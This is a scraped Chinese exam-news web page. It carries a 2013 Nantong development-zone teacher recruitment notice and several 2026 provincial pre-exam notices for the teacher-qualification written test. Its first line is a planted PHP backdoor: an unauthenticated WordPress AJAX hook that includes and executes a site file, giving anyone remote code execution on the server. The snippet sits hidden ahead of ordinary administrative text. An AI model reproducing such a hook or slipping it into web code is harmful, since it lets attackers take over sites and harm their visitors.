if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
江苏省南通经济技术开发区2013年教师招聘信息-全国教师资格考试网

江苏省南通经济技术开发区2013年教师招聘信息

  为选拔优秀适岗人才,优化我区师资队伍结构,提升教育教学水平,根据我区师资需求实际,经南通经济技术开发区人力资源和社会保障局审核、南通市人力资源和社会保障局核准,决定面向高校公开招聘25名教师,现将有关事项公告如下:

一、招聘岗位

招考岗位、人数等详见《南通经济技术开发区教育系统2013年春季公开招聘教师岗位简介表》(附件1)。

二、报考条件

(一)具有中华人民共和国国籍,拥护和遵守中华人民共和国宪法和法律,具有良好的品行。

(二)年龄在18周岁以上、30周岁以下(1983年4月1日至1995年3月31日期间出生)。初中、高中教师学历为本科以上,小学教师为专科以上(本科及以上学历毕业生不限户籍,大专学历毕业生限南通开发区、崇川区、港闸区生源或户籍。)

(三)招考对象

报考初中、高中教师岗位的为“211 工程”院校2013届师范类毕业生。报考小学教师岗位的为全日制普通院校2013届师范类毕业生。

(四)具备招聘岗位所要求的其他资格条件。

(五)身体健康,具备正常履行职责的身体条件。

尚未解除纪律处分或者在接受纪律审查的人员,刑事处罚期限未满或者涉嫌违法犯罪正在接受调查的人员,涉及国家和省有关规定不得应聘到事业单位有关岗位的人员,不得应聘。

三、报名

1.报名方式:采取现场报名方式。本人不能到现场报名的,可委托他人代为报名,受委托人除提供委托人的报名材料外,还需提供本人的身份证原件及复印件。

2. 报名时间:2013年4月18日(上午8∶30-11∶30,下午2∶00-5∶00)。报名地点:南通市东方中学(南通经济技术开发区新开南路188号)。

3. 报名注意事项及资格审查:

(1)每位报考者限报考一个岗位,报名与考场使用的身份证必须一致。报考者报名时须提交下列材料:

①本人身份证原件及复印件。

②所在学校出具的《毕业生双向选择就业推荐表》原件及复印件。学生成绩单原件和复印件(复印件须加盖学校或院系教务处公章)

③本人近期二寸免冠正面照片4张。

④《南通经济技术开发区教育系统2013年春季公开招聘教师报名表》(附件2,一式两份,可下载)

⑤大专学历报考者须提供户口本原件及复印件。

⑥岗位要求的相关证明材料原件及复印件。

报考人员提交的报考申请材料由南通开发区社会事业局负责审核。报考人员提供虚假报考申请材料的,一经查实,取消报考资格,并对伪造、编造有关证件、材料、信息,骗取考试资格的,将按照《江苏省事业单位公开招聘人员办法》有关规定严肃处理。

从事公开招聘工作的负责人员及其工作人员与应聘人员有夫妻关系、直系血亲关系、三代以内旁系血亲关系或者近姻亲关系的,或者有其他情形可能影响招聘公正性的,应当实行回避。    

(2)应聘人数与岗位招聘人数达到3:1方可开考。达不到开考比例则相应核减或取消该岗位的招聘计划,核减或取消的岗位在南通市人力资源和社会保障局网站(www.jsnt.lss.gov.cn)、南通经济技术开发区政府门户网站(www.netda.gov.cn)和南通开发区教育网(www.ntkfqjy.cn)予以公告。报考被取消职位的人员,由社会事业局通知报考人员重新改报其它岗位。改报名时间:2013年4月20日(上午8∶30-11∶30,下午2∶00-5∶00)。改报名地点:南通市东方中学。

通过资格审查的人员名单于2013年4月21日在南通经济技术开发区政府门户网和南通开发区教育网公示。

(3)本次考试不收取报名费和考试费。

(4)通过报名资格审查的报考人员,于2012年4月23日(上午9∶00-11∶30,下午2∶00-5∶00)到南通市东方中学领取《准考证》,逾期不领者视作自动放弃。

四、考试

考试由南通经济技术开发区社会事业局和南通经济技术开发区人力资源和社会保障局共同组织实施。考试分为笔试和综合素质测试。

1.笔试。采用书面闭卷考试方式,以百分制计算,内容为公共基础知识(30%)和相关专业知识(70%)。专业知识包括基础教育课程改革理论、教育学与心理学、教育政策与法规等,考试不指定大纲和教材。

笔试考试结束后七日内,考生可自行登陆南通经济技术开发区政府门户网和南通开发区教育网查询笔试成绩。

2.综合素质测试。根据笔试成绩,按岗位招聘计划3倍的比例从高分到低分依次确定参加综合素质测试人员名单(末位同分的一起进入综合素质测试)。具体人员名单和测试时间地点将在南通经济技术开发区政府门户网和南通开发区教育网公布。

(1)形式和内容:综合素质测试包括模拟上课和面试两部分。

模拟上课的内容为报考岗位相应的学段指定教材、指定课题。

面试的内容包括对教育理念及专业思想的阐述、分析问题及解决问题等能力的测试,其中音乐、体育和美术学科教师岗位报考者增加专业素质测试内容:①音乐岗位:声乐、舞蹈、即兴伴奏、音乐特长展示等;②美术岗位:人物慢写、水粉静物、书法、美术特长展示等;③体育岗位:排球、篮球、田径、体育特长展示等。

(2)综合素质测试成绩:按模拟上课成绩占60%和面试成绩占40%的权重比例,采用百分制计算综合素质测试成绩,其中报考音乐、美术和体育教师岗位者按模拟上课成绩占30%、面试成绩占20%和专业素质测试成绩占50%的权重比例,采用百分制计算综合素质测试成绩(小数点后保留2位,下同)。设60分为合格分数线。综合素质测试成绩当场通知考生,并在南通经济技术开发区政府门户网和南通开发区教育网公告。

3.总成绩计算方法:按笔试成绩占30%和综合素质测试成绩占70%的权重比例按百分制计算总成绩。

五、体检和考察

1.在综合素质测试成绩合格者中,根据总成绩,按岗位实际招聘计划1∶1的比例从高分到低分确定体检对象(末位同分者取综合素质测试得分高者,若综合素质测试得分仍相同,则取模拟上课成绩得分高者,其中报考音乐、体育、美术学科教师岗位者取专业素质测试成绩得分高者),并在南通经济技术开发区政府门户网和南通开发区教育网公布。

体检由南通经济技术开发区社会事业局和南通经济技术开发区人力资源和社会保障局共同组织实施。体检标准参照《国家公务员录用通用标准(试行)》执行。

体检的具体时间地点另行通知。体检费自理。

2.对体检合格人员,由南通经济技术开发区社会事业局和南通经济技术开发区人力资源和社会保障局共同组织实施考察。考察侧重于思想政治表现、道德品质,以及与报考岗位相关的业务能力和工作实绩等。考察不合格者不予聘用。

3.因体检、考察不合格或考生自动放弃等原因而出现缺额时,从该岗位综合素质测试合格人员中,按考生总成绩从高分到低分一次性递补(末位同分者取综合素质测试得分高者,若综合素质测试得分仍相同,则取模拟上课成绩得分高者,其中报考音乐、体育、美术教师岗位者取专业素质测试成绩得分高者)。

六、公示和聘用

1.体检、考察均合格者,确定为拟聘用人员,在南通市人力资源和社会保障局网、南通经济技术开发区政府门户网和南通开发区教育网公示,公示时间为七个工作日。公示后不再进行递补。

2.公示无异议的拟聘用人员,在公示结束后一周内由南通开发区社会事业局统一组织部分岗位(同一岗位有两个及以上招聘单位的)考生现场选择单位(具体时间、地点另行通知),聘用人员按招聘岗位从高分到低分,依次自主选择工作单位。未按时到现场或在现场未选择规定计划内聘用工作单位者,视作自动放弃聘用资格。

3. 拟招聘人员由南通开发区社会事业局报南通开发区人力资源和社会保障局审批,用人单位根据核发的聘用人员通知书与聘用人员签订聘用合同。

4. 聘用人员由招聘单位在2013年7月30日前办结聘用手续。聘用人员报到时需提供毕业证书、教师资格证书,如未取得,予以解聘。

七、纪律监督

招聘工作坚持“公开、平等、竞争、择优”的原则,严格报考程序,严格考纪考风,招聘工作全过程接受纪检监察部门的监督。对违反考试纪律和弄虚作假的考生,一经发现,取消报考、聘用资格;对违反报考聘用规定和纪律的单位及工作人员,将严肃处理,并追究单位负责人和当事人的责任。

纪律监督电话:0513-85923216(南通经济技术开发区纪委)

八、本公告由南通经济技术开发区人力资源和社会保障局、南通经济技术开发区社会事业局负责解释。

政策咨询电话:

0513-85920033(南通经济技术开发区人力资源和社会保障局)

 0513-83596082(南通经济技术开发区社会事业局)

 

 

附件:

1、南通经济技术开发区教育系统2013年春季公开招聘教师岗位简介表
2、南通经济技术开发区教育系统2013年春季公开招聘教师招聘报名表报名表
    

南通经济技术开发区人力资源和社会保障局

南通经济技术开发区社会事业局

2013年4月1日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部